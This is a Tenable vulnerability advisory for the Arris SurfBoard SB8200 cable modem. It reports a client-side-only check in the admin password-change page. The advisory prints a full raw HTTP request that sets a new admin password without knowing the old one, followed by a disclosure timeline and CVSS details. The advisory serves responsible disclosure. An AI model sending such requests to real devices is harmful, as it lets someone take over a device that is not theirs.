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Arris SurfBoard SB8200 Insecure Password Change Utility

Medium
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Synopsis

Insecure Password Change Utility

The change password utility in the administration console (https://192.168.100.1/changepwd_tab.html) requires a user to know the current admin password prior to changing the password. This verification is done client-side and can be bypassed simply by sending the password change request manually:

POST /changepwd_tab.html?YWRtaW46c2FwcGhpcmUx HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://192.168.100.1
Connection: close
Referer: https://192.168.100.1/changepwd_tab.html
Cookie: HttpOnly: true, Secure: true; credential=w5ejXGiXewkzXiVX3nsQTJQElxWI7Mq
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 0

The base64 encoding at the end of the above URL (YWRtaW46c2FwcGhpcmUx) translates to admin:sapphire1.

This attack does require a valid user session to be in place.

Solution

The vendor has stated that a fix is in progress but is not yet available.

Disclosure Timeline

August 9, 2021 - Tenable attempts to contact vendor via webform. Vendor responds with contact information. Tenable discloses. Vendor acknowledges.
August 10, 2021 - Vendor requests additional information. Tenable responds.
August 31, 2021 - Vendor requests additional information. Tenable responds.
September 1, 2021 - Vendor acknowledges.
September 7, 2021 - Tenable requests status update. Vendor responds.
September 10, 2021 - Tenable provides requested CVE identifiers.
October 12, 2021 - Tenable requests status update. Vendor asks for clarification about this request.
October 13, 2021 - Tenable provides clarification.
October 15, 2021 - Vendor provides status update and requests additional information, expressing concerns about disclosure of information.
October 20, 2021 - Vendor provides status update. Tenable acknowledges.
November 4, 2021 - Vendor requests advance copy of advisory. Tenable declines request.
November 4, 2021 - Vendor requests locations of media publications.
November 5, 2021 - Tenable provides information. Vendor requests clarification on publication date.
November 8, 2021 - Tenable provides information.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2021-20119
Tenable Advisory ID: TRA-2021-49
Credit:
Jimi Sebree
CVSSv3 Base / Temporal Score:
5.5 / 5.2
CVSSv3 Vector:
AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Affected Products:
Arris SurfBoard SB8200 AB01.02.053.01_112320_193.0A.NSH
Risk Factor:
Medium

Advisory Timeline

November 8, 2021 - Initial release.
December 17, 2021 - Corrected timeline dates.
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